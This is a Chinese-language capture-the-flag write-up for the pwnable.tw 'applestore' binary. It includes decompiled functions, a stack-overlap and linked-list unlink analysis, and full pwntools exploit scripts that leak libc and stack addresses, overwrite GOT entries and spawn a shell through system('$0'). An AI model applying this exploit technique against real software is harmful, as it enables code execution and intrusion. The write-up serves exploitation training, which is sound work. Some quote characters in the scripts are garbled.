pwnable.tw applestore

I is so vegetable:(,我tcl又由于忙于毕设和各种比赛(划水)各种耽误,到今天才真正把这题搞出来

存储结构

0x804B070链表头
struct _mycart_binlist
{
    int *name;    //ebp-0x20
    int price;        //ebp-0x1c
    struct _mycart_binlist *next;    //ebp-0x18
    struct _mycart_binlist *pre;    //ebp-0x14
}

insert

int __cdecl insert(int a1)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = a1;                                    // the_last_mycart->next=inserted
  result = a1;
  *(_DWORD *)(a1 + 12) = i;                     // inserted->pre=the_last_mycart
  return result;
}

checkout

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;                                     // price=1
    insert((int)&v2);                         
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

这里存在问题的应该是checkout的insert,用贪心的思想求解下v1=7174各个商品的数量

7174
14*499=6986
13*499=6487
12*499=5988    1186
11*499=5489    1685
10*499=4990    2184
9*499=4491    2683
8*499=3992    3182
7*499=3493    3681
6*499=2994    4180
5*499=2495    4679-99*21=2600
100x+200y+300z=2600    =>x+2y+3z=26
x+y+z=21
        =>y+2z=5
        y=1    z=2
        x=18    c=5
199x 299y 399z 499c

写个脚本验证下

from pwn import *

context.log_level=‘DEBUG‘

p=process(‘./applestore‘)

def add(idx):
    p.sendlineafter(‘>‘,‘2‘)
    p.sendlineafter(‘Device Number> ‘,str(idx))

for i in range(0,18):
    add(1)
add(2)
for i in range(0,2):
    add(4)
for i in range(0,5):
    add(3)

gdb.attach(p,gdbscript=‘b *0x08048B98\n‘)

p.interactive()

这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆,利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会,修改GOT即可导致任意代码执行。

unsigned int delete()
{
  signed int idx; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int delete_obj; // [esp+18h] [ebp-30h]
  int next; // [esp+1Ch] [ebp-2Ch]
  int pre; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  idx = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);                        // 栈里边直接保存输入的字符串,虽然不会溢出,但这里会造成类型混淆
  delete_obj = atoi(&nptr);
  while ( v2 )
  {
    if ( idx == delete_obj )
    {
      next = v2[2];                             // next
      pre = v2[3];                              // pre
      if ( pre )
        *(_DWORD *)(pre + 8) = next;            // victim->pre->next=victim->next
      if ( next )
        *(_DWORD *)(next + 12) = pre;           // victim->next->pre=victim->pre
      printf("Remove %d:%s from your shopping cart.\n", idx, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++idx;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

 这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H,执行完checkout只是抬高栈帧,并不会销毁函数栈;而此时我们调用delete,会在调用checkout结束的位置开辟栈帧,这样得到的函数栈就和checkout的函数栈重叠,而delete会在栈中直接保存输入的字符串(EBP-22H的位置),就会引起一次类型混淆

handler    ebp___
    
        38h
    
        esp__
checkout   ebp__    delete  ebp__
    
        38h             48h
        V2=ebp-20h       nptr=ebp-22h    

        esp__            esp__

 DWORD_SHOT并不可行,如果我们如下构造struct执行DWORD_SHOT的话,虽然GOT表可写,但是由于双向链表断链过程会执行victim->pre=victim->next,即read@got会写入*system@got+12的位置,而*system@got+12位于libc text段,肯定不可写,这里会崩溃。

struct
{
    *name    =>    padding
    price      =>    padding
    *nexe    =>    read@got
    *pre    =>    system@got
}

以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?

from pwn import *

context.log_level=DEBUG

p=process(./applestore)
elf=ELF(./applestore)
libc=ELF(/lib/i386-linux-gnu/libc-2.28.so)

def add(idx):
    p.sendlineafter(>,2)
    p.sendlineafter(Device Number> ,str(idx))

def delete(idx):
    p.sendlineafter(>,3)
    p.sendlineafter(Item Number>,str(idx))

def checkout():
    p.sendlineafter(>,5)
    p.sendlineafter(>,y)

def cart(payload):
    p.sendlineafter(>,4)
    p.sendlineafter(>,str(payload))

for i in range(0,18):
    add(1)
add(2)
for i in range(0,2):
    add(4)
for i in range(0,5):
    add(3)

checkout()

payload=y\x0a+p32(elf.got[read])+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil(27: )
read_got=u32(p.recv(4))
libc_base=read_got-libc.sym[read]
success(libc_base:+hex(libc_base))
success(read_got:+hex(read_got))

#gdb.attach(p,gdbscript=b *0x08048B98\n)    #b insert()
gdb.attach(p,gdbscript=‘‘‘
    b *0x080489F0
    break *0x080489FB if $[$ebp-0x38]==27
    ‘‘‘)        #b delete_obj

sys_got=libc_base+libc.sym[system]
success(system:+hex(sys_got))
payload=\x32\x37\x00\x20+b*6+p32(read_got-8)+p32(sys_got)
delete(payload)

#gdb.attach(p,gdbscript=b *0x080489FB\n)

p.interactive()

 由于delete中我们有一次任意地址写的机会,而在执行完delete返回到handler时会再次引用栈内存ebp-0x22(在这个位置读入),所以我们考虑修改ebp的值,进而覆盖asprintf@got和atoi@got(这两个got的地址是相邻的),asprintf@got覆盖成‘$0\x00\x00‘(4字节),atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system(‘$0‘)即可getshell

 

from pwn import *

context.log_level=DEBUG

elf=ELF(./applestore)
local=1
if local:
    p=process(./applestore)
    libc=ELF(/lib/i386-linux-gnu/libc-2.28.so)
else:
    p=remote(chall.pwnable.tw,10104)
    libc=ELF(./libc_32.so.6)

def add(idx):
    p.sendlineafter(>,2)
    p.sendlineafter(Device Number> ,str(idx))

def delete(idx):
    p.sendlineafter(>,3)
    p.sendlineafter(Item Number>,str(idx))

def checkout():
    p.sendlineafter(>,5)
    p.sendlineafter(>,y)

def cart(payload):
    p.sendlineafter(>,4)
    p.sendlineafter(>,str(payload))

for i in range(0,18):
    add(1)
add(2)
for i in range(0,2):
    add(4)
for i in range(0,5):
    add(3)

checkout()

payload=y\x0a+p32(elf.got[read])+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil(27: )
read_got=u32(p.recv(4))
libc.address=read_got-libc.sym[read]
env=libc.sym[environ]
success(libc_base:+hex(libc.address))
success(read_got:+hex(read_got))

payload=y\x0a+p32(env)+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil(27: )
stack_env=u32(p.recv(4))
success(stack_env:+hex(stack_env))
ebp=stack_env-0x104
success(stack_ebp:+hex(ebp))

asprintf_got=elf.got[asprintf]
atoi_got=elf.got[atoi]
sys=libc.sym[system]
payload=27+p32(sys)+p32(1)+p32(ebp-12)+p32(asprintf_got+0x22)

if local:
    gdb.attach(p,gdbscript=‘‘‘
        b *0x080489F0\n
        b *0x08048A6F\n
        b *0x8048c0b\n
    ‘‘‘)
    pause()
delete(payload)

p.recvuntil(from your shopping cart.)
payload=$0\x00\x00+p32(sys)
p.sendline(payload)

p.interactive()

 

pwnable.tw applestore

上一篇:技术贴丨教你使用华为云鲲鹏服务器部署Discuz!论坛


下一篇:使用JS获取两个时间差(JS写一个倒计时功能)